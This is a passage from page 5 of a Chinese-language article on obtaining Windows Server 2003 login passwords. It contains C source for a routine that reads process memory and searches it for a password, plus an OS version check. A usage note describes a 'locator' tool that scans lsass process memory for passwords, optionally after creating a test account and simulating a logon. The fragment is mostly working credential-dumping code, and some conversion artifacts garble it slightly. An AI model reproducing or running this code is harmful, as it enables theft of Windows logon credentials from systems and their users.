在win 2003中三大方法助你得到登陸密碼(5)

　　CloseHandle(hProcess);

　　return FALSE;

　　}

　　CloseHandle(hProcess);

　　Found = Search(Buffer，ByteGet); // Search The Password

　　if (Found >= 0) // We May Find The Password

　　{

　　if (strlen(Password) > 0) // Yes，We Find The Password Even We Don't Know If The Password Is Correct Or Not

　　{

　　printf("Found Password At #0x%x -> \"%s\"\n"，F(xiàn)ound + BaseAddress，Password);

　　}

　　}

　　else

　　{

　　printf("Fail To Find The Password\n");

　　}

　　return TRUE;

　　}

　　// End FindPassword

　　//------------------------------------------------------------------------------------

　　// Purpose: Check If The Box Is windows 2003

　　// Return Type: BOOLEAN

　　// Parameters: None

　　//------------------------------------------------------------------------------------

　　BOOL Is2003()

　　{

　　OSVERSIONINFOEX osvi;

　　BOOL b0sVersionInfoEx;

　　ZeroMemory(&osvi，sizeof(OSVERSIONINFOEX));

　　osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

　　if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))

　　{

　　osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

　　}

　　return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);

　　}

　　// End Is2003()

　　// End Of File

　　附件程序相當于密碼定位程序，用來測試在lsass內(nèi)存中搜索指定的字符串或模擬登陸的密碼.

　　用法:

　　1.locator 字符串 -> 在lsass進程內(nèi)存中搜索指定的那個"字符串"，返回確定的位置

　　2.Locator 用戶名 密碼 -> 在系統(tǒng)中建立一個參數(shù)指定的用戶，并進行模擬登陸，然后搜索"密碼"在lsass進程內(nèi)存中的位置，生成的帳戶程序運行完后會自動刪除。